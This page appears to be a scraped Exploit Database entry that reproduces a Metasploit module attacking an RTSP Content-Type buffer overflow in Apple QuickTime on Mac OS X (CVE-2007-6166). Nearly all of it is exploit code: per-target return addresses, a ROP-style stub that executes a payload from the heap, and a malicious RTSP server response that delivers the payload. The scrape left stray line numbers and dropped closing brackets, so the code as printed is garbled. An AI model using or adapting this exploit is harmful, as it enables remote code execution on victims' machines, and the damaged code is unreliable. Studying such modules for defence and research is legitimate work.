Apple QuickTime (Mac OSX) – RTSP Content-Type Overflow (Metasploit)

Exploit Database
104 阅读

作者： Metasploit

日期： 2010-10-09
类别：
- remote
平台：
- osx
来源：https://www.exploit-db.com/exploits/16873/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

# $Id: quicktime_rtsp_content_type.rb 10617 2010-10-09 06:55:52Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})

super(update_info(info,

'Name' => 'MacOS X QuickTime RTSP Content-Type Overflow',

# Description?

# Author?

'Version'=> '$Revision: 10617 $',

'Platform' => 'osx',

'References' =>

[

[ 'CVE', '2007-6166' ],

[ 'OSVDB', '40876'],

[ 'BID', '26549' ],

'Payload' =>

{

'Space' => 3841,

'BadChars' => "\x00\x0a\x0d",

'MaxNops' => 0,

'StackAdjustment' => -3500,

'Targets' =>

[

[ 'Mac OS X 10.4.0 PowerPC, QuickTime 7.0.0',

{

'Arch' => ARCH_PPC,

'Ret' => 0x8fe3f88c,

'RetOffset' => 551,

'PayloadOffset' => 879

}

[ 'Mac OS X 10.5.0 PowerPC, QuickTime 7.2.1',

{

'Arch' => ARCH_PPC,

'Ret' => 0x8fe042e0,

'RetOffset' => 615,

'PayloadOffset' => 3351

}

[ 'Mac OS X 10.4.8 x86, QuickTime 7.1.3',

{

'Arch' => ARCH_X86,

'Offset' => 307,

'Writable' => 0xa0bd0f10,# libSystem __IMPORT

# The rest of these are all in libSystem __TEXT

'ret' => 0x9015d336,

'poppopret' => 0x9015d334,

'setjmp' => 0x900bc438,

'strdup' => 0x90012f40,

'jmp_eax' => 0x9014a77f

}

[ 'Mac OS X 10.5.0 x86, QuickTime 7.2.1',

{

'Arch' => ARCH_X86,

'Offset' => 307,

'Writable' => 0x8fe66448,# dyld __IMPORT

# The rest of these addresses are in dyld __TEXT

'ret' => 0x8fe1ceee,

'poppopret' => 0x8fe220d7,

'setjmp' => 0x8fe1ceb0,

'strdup' => 0x8fe1cd77,

'jmp_eax' => 0x8fe01041

}

'DefaultTarget'=> 2,

'DisclosureDate' => 'Nov 23 2007'))

end

######

# XXX: This does not work on Tiger apparently

def make_exec_payload_from_heap_stub()

frag0 =

"\x90" + # nop

"\x58" + # pop eax

"\x61" + # popa

"\xc3" # ret

frag1 =

"\x90" + # nop

"\x58" + # pop eax

"\x89\xe0" + # mov eax, esp

"\x83\xc0\x0c" + # add eax, byte +0xc

"\x89\x44\x24\x08" + # mov [esp+0x8], eax

"\xc3" # ret

setjmp = target['setjmp']

writable = target['Writable']

strdup = target['strdup']

jmp_eax = target['jmp_eax']

exec_payload_from_heap_stub =

frag0 +

[setjmp].pack('V') +

[writable + 32, writable].pack("V2") +

frag1 +

"X" * 20 +

[setjmp].pack('V') +

[writable + 24, writable, strdup, jmp_eax].pack("V4") +

"X" * 4

end

def on_client_connect(client)

print_status("Got client connection...")

if (target['Arch'] == ARCH_PPC)

ret_offset = target['RetOffset']

payload_offset = target['PayloadOffset']

# Create pattern sized up to payload, since it always follows

# the return address.

boom = Rex::Text.pattern_create(payload_offset)

boom[ret_offset, 4] = [target['Ret']].pack('N')

boom[payload_offset, payload.encoded.length] = payload.encoded

else

boom = Rex::Text.pattern_create(327)

boom[307, 4] = [target['ret']].pack('V')

boom[311, 4] = [target['ret']].pack('V')

boom[315, 4] = [target['poppopret']].pack('V')

boom[319, 4] = [target['Writable']].pack('V')

boom[323, 4] = [target['Writable']].pack('V')

# Create exec-payload-from-heap-stub, but split it in two.

# The first word must be placed as the overwritten saved ebp

# in the attack string.The rest is placed after the

# Writable memory addresses.

magic = make_exec_payload_from_heap_stub()

boom[303, 4] = magic[0, 4]

boom += magic[4..-1]

# Place the payload immediately after the stub as it expects

boom += payload.encoded

end

body = " "

header =

"RTSP/1.0 200 OK\r\n"+

"CSeq: 1\r\n"+

"Content-Type: #{boom}\r\n"+

"Content-Length: #{body.length}\r\n\r\n"

print_status("Sending RTSP response...")

client.put(header + body)

print_status("Sleeping...")

select(nil,nil,nil,1)

print_status("Starting handler...")

handler(client)

print_status("Closing client...")

service.close_client(client)

end